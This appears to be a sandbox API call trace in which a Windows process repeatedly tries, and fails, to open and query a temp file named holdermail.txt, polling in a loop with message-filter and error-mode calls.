	[0089.389] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.389] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.390] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.390] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.390] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.390] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.390] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.390] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.391] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.391] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.391] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.391] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.391] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.391] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.392] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.392] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.392] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.392] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.393] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.393] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.393] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.393] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.394] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.394] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.394] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.394] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.394] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.395] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.395] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.395] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.395] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.395] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.395] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.395] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.396] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.396] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.396] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.396] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.396] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.396] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.396] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.397] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.397] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.397] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.397] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.397] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.398] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.398] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.398] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.398] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.399] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.399] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.399] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.399] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.400] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.400] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.400] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.400] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.400] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.400] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.401] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.401] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.401] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.401] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.401] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.401] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.402] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.402] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.402] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.426] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.426] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.426] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
